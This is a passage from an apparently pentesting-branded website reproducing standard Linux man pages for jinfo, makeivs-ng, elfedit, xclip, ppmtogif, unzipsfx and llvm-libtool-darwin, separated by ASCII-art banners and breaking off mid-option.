The input file has links; it is left unchanged. See ln(1) for more information. Use the -f flag to force compression of multiply-linked files.

– file unchanged

No savings is achieved by compression. The input remains virgin.

BUGS

Although compressed files are compatible between machines with large memory, -b12 should be used for file transfer to architectures with a small process data space (64 KiB or less, as exhibited by the DEC PDP series, the Intel 80286, etc.)

SEE ALSO

pack(1), compact(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2264 - Linux cli command jinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jinfo and provides detailed information about the command jinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jinfo.

NAME 🖥️ jinfo 🖥️

generate Java configuration information for a specified Java process

SYNOPSIS

Note: This command is experimental and unsupported.

jinfo [option] pid

option
This represents the jinfo command-line options. See Options for the jinfo Command.

pid
The process ID for which the configuration information is to be printed. The process must be a Java process. To get a list of Java processes running on a machine, use either the ps command or, if the JVM processes are not running in a separate docker instance, the jps command.

DESCRIPTION

The jinfo command prints Java configuration information for a specified Java process. The configuration information includes Java system properties and JVM command-line flags. If the specified process is running on a 64-bit JVM, then you might need to specify the -J-d64 option, for example:

jinfo -J-d64 -sysprops pid

This command is unsupported and might not be available in future releases of the JDK. In Windows Systems where dbgeng.dll is not present, the Debugging Tools for Windows must be installed to have these tools work. The PATH environment variable should contain the location of the jvm.dll that’s used by the target process or the location from which the core dump file was produced.

OPTIONS FOR THE JINFO COMMAND

Note:

If none of the following options are used, both the command-line flags and the system property name-value pairs are printed.

-flag name
Prints the name and value of the specified command-line flag.

-flag [+|-]name
Enables or disables the specified Boolean command-line flag.

-flag name=value
Sets the specified command-line flag to the specified value.

-flags
Prints command-line flags passed to the JVM.

-sysprops
Prints Java system properties as name-value pairs.

-h or -help
Prints a help message.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2265 - Linux cli command makeivs-ng

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command makeivs-ng and provides detailed information about the command makeivs-ng, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the makeivs-ng.

NAME 🖥️ makeivs-ng 🖥️

generate a dummy IVS dump file with a specific WEP key

SYNOPSIS

makeivs <ivs file> <104-bit key>

DESCRIPTION

makeivs-ng is a tool designed to generate an IVS dump file with an inputted WEP key. The aim of is tools is to provide a way to create dumps with a known encryption key for tests.

OPTIONS

Common options:
-b <bssid> or –bssid <bssid>
Set the BSSID (Access Point MAC)

-f <num> or –first <num>
Value for the first IV generated.

-k <key> or –key <key>
Target network WEP key in hex. Separator between bytes is accepted but not necessary.

-s <num> or –seed <num>
Seed used to setup random generator. May be used in combination with -p or –prng.

-w <file> or –write <file>
Filename to write IVs into.

-c <num> or –count <num>
Amount of IVs to generate. Default value is 100000.

-d <num> or –dupe <num>
Percentage of duplicate IVs.

-e <num> or –error <num>
Percentage of erroneous keystreams.

-l <num> or –length <num>
Size of keystreams. Default: 16 bytes.

-n or –nofms
Ignores weak IVs.

-p or –prng
Use random values when generating IVs. Default is to use sequential values.

–help
Show help screen.

EXAMPLE

makeivs makeivs -w out.ivs -k 123456789ABCDEF123456789AB

AUTHOR

This manual page was written by Adam Cecile <[email protected]> for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

SEE ALSO

airbase-ng(8)
aireplay-ng(8)
airmon-ng(8)
airodump-ng(8)
airodump-ng-oui-update(8)
airserv-ng(8)
airtun-ng(8)
besside-ng(8)
easside-ng(8)
tkiptun-ng(8)
wesside-ng(8)
aircrack-ng(1)
airdecap-ng(1)
airdecloak-ng(1)
airolib-ng(1)
besside-ng-crawler(1)
buddy-ng(1)
ivstools(1)
kstats(1)
packetforge-ng(1)
wpaclean(1)
airventriloquist(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2266 - Linux cli command x86_64-w64-mingw32ucrt-elfedit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-elfedit and provides detailed information about the command x86_64-w64-mingw32ucrt-elfedit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-elfedit.

NAME 🖥️ x86_64-w64-mingw32ucrt-elfedit 🖥️

update ELF header and program property of ELF files

SYNOPSIS

elfedit [**–input-mach=machine] [–input-type=type] [–input-osabi=osabi] [–input-abiversion=**version] **–output-mach=**machine **–output-type=**type –output-osabi=osabi –output-abiversion=version –enable-x86-feature=feature –disable-x86-feature=feature [-v|–version] [-h|–help] elffile

DESCRIPTION

elfedit updates the ELF header and program property of ELF files which have the matching ELF machine and file types. The options control how and which fields in the ELF header and program property should be updated.

elffile… are the ELF files to be updated. 32-bit and 64-bit ELF files are supported, as are archives containing ELF files.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one of the –output-mach, –output-type, –output-osabi, –output-abiversion, –enable-x86-feature and –disable-x86-feature options must be given.

–input-mach=machine
Set the matching input ELF machine type to machine. If –input-mach isn’t specified, it will match any ELF machine types. The supported ELF machine types are, i386, IAMCU, L1OM, K1OM and x86-64.

–output-mach=machine
Change the ELF machine type in the ELF header to machine. The supported ELF machine types are the same as –input-mach.

–input-type=type
Set the matching input ELF file type to type. If –input-type isn’t specified, it will match any ELF file types. The supported ELF file types are, rel, exec and dyn.

–output-type=type
Change the ELF file type in the ELF header to type. The supported ELF types are the same as –input-type.

–input-osabi=osabi
Set the matching input ELF file OSABI to osabi. If –input-osabi isn’t specified, it will match any ELF OSABIs. The supported ELF OSABIs are, none, HPUX, NetBSD, GNU, Linux (alias for GNU), Solaris, AIX, Irix, FreeBSD, TRU64, Modesto, OpenBSD, OpenVMS, NSK, AROS and FenixOS.

–output-osabi=osabi
Change the ELF OSABI in the ELF header to osabi. The supported ELF OSABI are the same as –input-osabi.

–input-abiversion=version
Set the matching input ELF file ABIVERSION to version. version must be between 0 and 255. If –input-abiversion isn’t specified, it will match any ELF ABIVERSIONs.

–output-abiversion=version
Change the ELF ABIVERSION in the ELF header to version. version must be between 0 and 255.

–enable-x86-feature=feature
Set the feature bit in program property in exec or dyn ELF files with machine types of i386 or x86-64. The supported features are, ibt, shstk, lam_u48 and lam_u57.

–disable-x86-feature=feature
Clear the feature bit in program property in exec or dyn ELF files with machine types of i386 or x86-64. The supported features are the same as –enable-x86-feature. Note: –enable-x86-feature and –disable-x86-feature are available only on hosts with mmap support.

-v

–version

Display the version number of elfedit.

-h

–help

Display the command-line options understood by elfedit.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2267 - Linux cli command xclip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xclip and provides detailed information about the command xclip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xclip.

NAME 🖥️ xclip 🖥️

command line interface to X selections (clipboard)

SYNOPSIS

xclip [OPTION] [FILE]…

DESCRIPTION

Reads from standard in, or from one or more files, and makes the data available as an X selection for pasting into X applications. Prints current X selection to standard out.

-i, -in
read text into X selection from standard input or files (default)

-o, -out
print the selection to standard out (generally for piping to a file or program)

-f, -filter
when xclip is invoked in the in mode with output level set to silent (the defaults), the filter option will cause xclip to print the text piped to standard in back to standard out unmodified

-r, -rmlastnl
when the last character of the selection is a newline character, remove it. Newline characters that are not the last character in the selection are not affected. If the selection does not end with a newline character, this option has no effect. This option is useful for copying one-line output of programs like pwd to the clipboard to paste it again into the command prompt without executing the line immediately due to the newline character pwd appends.

-l, -loops
number of X selection requests (pastes into X applications) to wait for before exiting, with a value of 0 (default) causing xclip to wait for an unlimited number of requests until another application (possibly another invocation of xclip) takes ownership of the selection

-t, -target
specify a particular data format using the given target atom. With -o the special target atom name “TARGETS” can be used to get a list of valid target atoms for this selection. For more information about target atoms refer to ICCCM section 2.6.2

-d, -display
X display to use (e.g. “localhost:0”), xclip defaults to the value in $DISPLAY if this option is omitted

-h, -help
show quick summary of options

-selection
specify which X selection to use, options are “primary” to use XA_PRIMARY (default), “secondary” for XA_SECONDARY or “clipboard” for XA_CLIPBOARD

-version
show version information

-silent
fork into the background to wait for requests, no informational output, errors only (default)

-quiet
show informational messages on the terminal and run in the foreground

-verbose
provide a running commentary of what xclip is doing

-noutf8
operate in legacy (i.e. non UTF-8) mode for backwards compatibility (Use this option only when really necessary, as the old behavior was broken)

xclip reads text from standard in or files and makes it available to other X applications for pasting as an X selection (traditionally with the middle mouse button). It reads from all files specified, or from standard in if no files are specified. xclip can also print the contents of a selection to standard out with the -o option.

xclip was designed to allow tighter integration of X applications and command line programs. The default action is to silently wait in the background for X selection requests (pastes) until another X application places data in the clipboard, at which point xclip exits silently. You can use the -verbose option to see if and when xclip actually receives selection requests from other X applications.

Options can be abbreviated as long as they remain unambiguous. For example, it is possible to use -d or -disp instead of -display. However, -v couldn’t be used because it is ambiguous (it could be short for -verbose or -version), so it would be interpreted as a filename.

Note that only the first character of the selection specified with the -selection option is important. This means that “p”, “sec” and “clip” would have the same effect as using “primary”, “secondary” or “clipboard” respectively.

EXAMPLES

I hate man pages without examples!

uptime | xclip

Put your uptime in the X selection. Then middle click in an X application to paste.

xclip -loops 10 -verbose /etc/motd

Exit after /etc/motd (message of the day) has been pasted 10 times. Show how many selection requests (pastes) have been processed.

xclip -o > helloworld.c

Put the contents of the selection into a file.

xclip -t text/html index.html

Middle click in an X application supporting HTML to paste the contents of the given file as HTML.

ENVIRONMENT

DISPLAY X display to use if none is specified with the -display option.

REPORTING BUGS

Please report any bugs, problems, queries, experiences, etc. directly to the author.

AUTHORS

Kim Saunders <[email protected]> Peter Åstrand <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2268 - Linux cli command ppmtogif

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtogif and provides detailed information about the command ppmtogif, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtogif.

.

NAME 🖥️ ppmtogif 🖥️

replaced by pamtogif

DESCRIPTION

This program is part of Netpbm(1) .

ppmtogif was replaced in Netpbm 10.37 (December 2006) by pamtogif(1) .

pamtogif is mostly backward compatible with ppmtogif.

One way pamtogif is not backward compatible with ppmtogif is that to specify a transparency (alpha) mask with ppmtogif, you supply the transparency as a separate pseudo-PGM image and use the -alpha option, whereas with pamtogif, you supply an input image that has the transparency integrated into it, and there is no -alpha option.

ppmtogif still exists as a separate program for backward compatibility, but it runs pamtogif to do the essential work. The compatibility ppmtogif interprets an -alpha option by reading the transparency image and combining it with the input image, then feeding pamtogif the combined image it expects. Other than that, the compatibility ppmtogif just passes input and options directly to pamtogif.

You should not make any new use of ppmtogif and if you modify an existing use, you should upgrade to pamtogif. But note that if you write a program that might have to be used with old Netpbm, ppmtogif is the only way to do that.

Unless you use the -alpha option, you can simply change the name of the program. If you use -alpha, here is how to upgrade:

  $ ppmtogif -alpha=myalpha.pgm myinput.ppm >myoutput.gif

becomes

  $ pamstack -tupletype=RGB_ALPHA myinput.ppm myalpha.pgm |  \
      pamtogif >myoutput.gif

Original Ppmtogif

If you are using Netpbm before 10.37, pamtogif doesn’t exist, so you use ppmtogif. You can use the pamtogif manual for ppmtogif, with the following exceptions.

The current documentation of pamtogif documents all versions of that program. Use the information for Version 10.37 only.

ppmtogif before Netpbm 10.31 does not accept PAM input at all.

ppmtogif does not accept PAM input with transparency information in it. Instead, ppmtogif has an -alpha option.

The syntax of the option is **-alpha=**pgmfile. ppmtogif treats the contents of the named PGM file the same as pamtogif treats the alpha plane of a PAM. The PGM image must have the same dimensions as the input file. But unlike the PAM case, the alpha image need not have the same maxval as the input. ppmtogif interprets the alpha file using the alpha file’s maxval.

You cannot specify both -transparent and -alpha.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtogif.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2269 - Linux cli command unzipsfx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unzipsfx and provides detailed information about the command unzipsfx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unzipsfx.

NAME 🖥️ unzipsfx 🖥️

self-extracting stub for prepending to ZIP archives

SYNOPSIS

<name of unzipsfx+archive combo> [-cfptuz[ajnoqsCLV$]] [file(s) . . . [-x xfile(s) . . .]]

DESCRIPTION

unzipsfx is a modified version of unzip(1) designed to be prepended to existing ZIP archives in order to form self-extracting archives. Instead of taking its first non-flag argument to be the zipfile(s) to be extracted, unzipsfx seeks itself under the name by which it was invoked and tests or extracts the contents of the appended archive. Because the executable stub adds bulk to the archive (the whole purpose of which is to be as small as possible), a number of the less-vital capabilities in regular unzip have been removed. Among these are the usage (or help) screen, the listing and diagnostic functions (-l and -v), the ability to decompress older compression formats (the ``reduce,’’ ``shrink’’ and ``implode’’ methods). The ability to extract to a directory other than the current one can be selected as a compile-time option, which is now enabled by default since UnZipSFX version 5.5. Similarly, decryption is supported as a compile-time option but should be avoided unless the attached archive contains encrypted files. Starting with release 5.5, another compile-time option adds a simple ``run command after extraction’’ feature. This feature is currently incompatible with the ``extract to different directory’’ feature and remains disabled by default.

Note that self-extracting archives made with unzipsfx are no more (or less) portable across different operating systems than is the unzip executable itself. In general a self-extracting archive made on a particular Unix system, for example, will only self-extract under the same flavor of Unix. Regular unzip may still be used to extract the embedded archive as with any normal zipfile, although it will generate a harmless warning about extra bytes at the beginning of the zipfile. Despite this, however, the self-extracting archive is technically not a valid ZIP archive, and PKUNZIP may be unable to test or extract it. This limitation is due to the simplistic manner in which the archive is created; the internal directory structure is not updated to reflect the extra bytes prepended to the original zipfile.

ARGUMENTS

[file(s)]
An optional list of archive members to be processed. Regular expressions (wildcards) similar to those in Unix egrep(1) may be used to match multiple members. These wildcards may contain:

  • matches a sequence of 0 or more characters

?
matches exactly 1 character

[. . .]
matches any single character found inside the brackets; ranges are specified by a beginning character, a hyphen, and an ending character. If an exclamation point or a caret (`!’ or `^’) follows the left bracket, then the range of characters within the brackets is complemented (that is, anything except the characters inside the brackets is considered a match).

(Be sure to quote any character that might otherwise be interpreted or modified by the operating system, particularly under Unix and VMS.)

[-x xfile(s)]
An optional list of archive members to be excluded from processing. Since wildcard characters match directory separators (`/’), this option may be used to exclude any files that are in subdirectories. For example, ``foosfx *.[ch] -x */*’’ would extract all C source files in the main directory, but none in any subdirectories. Without the -x option, all C source files in all directories within the zipfile would be extracted.

If unzipsfx is compiled with SFX_EXDIR defined, the following option is also enabled:

[-d exdir]
An optional directory to which to extract files. By default, all files and subdirectories are recreated in the current directory; the -d option allows extraction in an arbitrary directory (always assuming one has permission to write to the directory). The option and directory may be concatenated without any white space between them, but note that this may cause normal shell behavior to be suppressed. In particular, ``-d ~’’ (tilde) is expanded by Unix C shells into the name of the user’s home directory, but ``-d~’’ is treated as a literal subdirectory ``~’’ of the current directory.

OPTIONS

unzipsfx supports the following unzip(1) options: -c and -p (extract to standard output/screen), -f and -u (freshen and update existing files upon extraction), -t (test archive) and -z (print archive comment). All normal listing options (-l, -v and -Z) have been removed, but the testing option (-t) may be used as a ``poor man’s’’ listing. Alternatively, those creating self-extracting archives may wish to include a short listing in the zipfile comment.

See unzip(1) for a more complete description of these options.

MODIFIERS

unzipsfx currently supports all unzip(1) modifiers: -a (convert text files), -n (never overwrite), -o (overwrite without prompting), -q (operate quietly), -C (match names case-insensitively), -L (convert uppercase-OS names to lowercase), -j (junk paths) and -V (retain version numbers); plus the following operating-system specific options: -X (restore VMS owner/protection info), -s (convert spaces in filenames to underscores [DOS, OS/2, NT]) and -$ (restore volume label [DOS, OS/2, NT, Amiga]).

(Support for regular ASCII text-conversion may be removed in future versions, since it is simple enough for the archive’s creator to ensure that text files have the appropriate format for the local OS. EBCDIC conversion will of course continue to be supported since the zipfile format implies ASCII storage of text files.)

See unzip(1) for a more complete description of these modifiers.

ENVIRONMENT OPTIONS

unzipsfx uses the same environment variables as unzip(1) does, although this is likely to be an issue only for the person creating and testing the self-extracting archive. See unzip(1) for details.

DECRYPTION

Decryption is supported exactly as in unzip(1); that is, interactively with a non-echoing prompt for the password(s). See unzip(1) for details. Once again, note that if the archive has no encrypted files there is no reason to use a version of unzipsfx with decryption support; that only adds to the size of the archive.

AUTORUN COMMAND

When unzipsfx was compiled with CHEAP_SFX_AUTORUN defined, a simple ``command autorun’’ feature is supported. You may enter a command into the Zip archive comment, using the following format:

$AUTORUN$>[command line string]

When unzipsfx recognizes the ``$AUTORUN$>’’ token at the beginning of the Zip archive comment, the remainder of the first line of the comment (until the first newline character) is passed as a shell command to the operating system using the C rtl ``system’’ function. Before executing the command, unzipsfx displays the command on the console and prompts the user for confirmation. When the user has switched off prompting by specifying the -q option, autorun commands are never executed.

In case the archive comment contains additional lines of text, the remainder of the archive comment following the first line is displayed normally, unless quiet operation was requested by supplying a -q option.

EXAMPLES

To create a self-extracting archive letters from a regular zipfile letters.zip and change the new archive’s permissions to be world-executable under Unix:

cat unzipsfx letters.zip > letters
chmod 755 letters
zip -A letters

To create the same archive under MS-DOS, OS/2 or NT (note the use of the /b [binary] option to the copy command):

copy /b unzipsfx.exe+letters.zip letters.exe
zip -A letters.exe

Under VMS:

copy unzipsfx.exe,letters.zip letters.exe
letters == "$currentdisk:[currentdir]letters.exe"
zip -A letters.exe

(The VMS append command may also be used. The second command installs the new program as a ``foreign command’’ capable of taking arguments. The third line assumes that Zip is already installed as a foreign command.) Under AmigaDOS:

MakeSFX letters letters.zip UnZipSFX

(MakeSFX is included with the UnZip source distribution and with Amiga binary distributions. ``zip -A’’ doesn’t work on Amiga self-extracting archives.) To test (or list) the newly created self-extracting archive:

letters -t

To test letters quietly, printing only a summary message indicating whether the archive is OK or not:

letters -tqq

To extract the complete contents into the current directory, recreating all files and subdirectories as necessary:

letters

To extract all *.txt files (in Unix quote the `*’):

letters *.txt

To extract everything except the *.txt files:

letters -x *.txt

To extract only the README file to standard output (the screen):

letters -c README

To print only the zipfile comment:

letters -z

LIMITATIONS

The principle and fundamental limitation of unzipsfx is that it is not portable across architectures or operating systems, and therefore neither are the resulting archives. For some architectures there is limited portability, however (e.g., between some flavors of Intel-based Unix).

Another problem with the current implementation is that any archive with ``junk’’ prepended to the beginning technically is no longer a zipfile (unless zip(1) is used to adjust the zipfile offsets appropriately, as noted above). unzip(1) takes note of the prepended bytes and ignores them since some file-transfer protocols, notably MacBinary, are also known to prepend junk. But PKWARE’s archiver suite may not be able to deal with the modified archive unless its offsets have been adjusted.

unzipsfx has no knowledge of the user’s PATH, so in general an archive must either be in the current directory when it is invoked, or else a full or relative path must be given. If a user attempts to extract the archive from a directory in the PATH other than the current one, unzipsfx will print a warning to the effect, ``can’t find myself.’’ This is always true under Unix and may be true in some cases under MS-DOS, depending on the compiler used (Microsoft C fully qualifies the program name, but other compilers may not). Under OS/2 and NT there are operating-system calls available that provide the full path name, so the archive may be invoked from anywhere in the user’s path. The situation is not known for AmigaDOS, Atari TOS, MacOS, etc.

As noted above, a number of the normal unzip(1) functions have been removed in order to make unzipsfx smaller: usage and diagnostic info, listing functions and extraction to other directories. Also, only stored and deflated files are supported. The latter limitation is mainly relevant to those who create SFX archives, however.

VMS users must know how to set up self-extracting archives as foreign commands in order to use any of unzipsfx’s options. This is not necessary for simple extraction, but the command to do so then becomes, e.g., ``run letters’’ (to continue the examples given above).

unzipsfx on the Amiga requires the use of a special program, MakeSFX, in order to create working self-extracting archives; simple concatenation does not work. (For technically oriented users, the attached archive is defined as a ``debug hunk.’’) There may be compatibility problems between the ROM levels of older Amigas and newer ones.

All current bugs in unzip(1) exist in unzipsfx as well.

DIAGNOSTICS

unzipsfx’s exit status (error level) is identical to that of unzip(1); see the corresponding man page.

SEE ALSO

funzip(1), unzip(1), zip(1), zipcloak(1), zipgrep(1), zipinfo(1), zipnote(1), zipsplit(1)

URL

The Info-ZIP home page is currently at

http://www.info-zip.org/pub/infozip/

or

ftp://ftp.info-zip.org/pub/infozip/ .

AUTHORS

Greg Roelofs was responsible for the basic modifications to UnZip necessary to create UnZipSFX. See unzip(1) for the current list of Zip-Bugs authors, or the file CONTRIBS in the UnZip source distribution for the full list of Info-ZIP contributors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2270 - Linux cli command llvm-libtool-darwin-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-libtool-darwin-16 and provides detailed information about the command llvm-libtool-darwin-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-libtool-darwin-16.

NAME 🖥️ llvm-libtool-darwin-16 🖥️

libtool-darwin - LLVM tool for creating libraries for Darwin

SYNOPSIS

llvm-libtool-darwin [options] <input files>

DESCRIPTION

llvm-libtool-darwin is a tool for creating static and dynamic libraries for Darwin.

For most scenarios, it works as a drop-in replacement for cctools’ libtool.

OPTIONS

llvm-libtool-darwin supports the following options:

-arch_only <architecture>
Build a static library only for the specified <architecture> and ignore all other architectures in the files.

-color
Use colors in output.

-D
Use zero for timestamps and UIDs/GIDs. This is set by default.

-filelist <listfile[,dirname]>
Read input file names from <listfile>. File names are specified in <listfile> one per line, separated only by newlines. Whitespace on a line is assumed to be part of the filename. If the directory name, dirname, is also specified then it is prepended to each file name in the <listfile>.

-h, -help
Show help and usage for this command.

-help-list
Show help and usage for this command without grouping the options into categories.

-l <x>
Searches for the library libx.a in the library search path. If the string <x> ends with ‘.o’, then the library ‘x’ is searched for without prepending ‘lib’ or appending ‘.a’. If the library is found, it is added to the list of input files. Otherwise, an error is raised.

-L <dir>
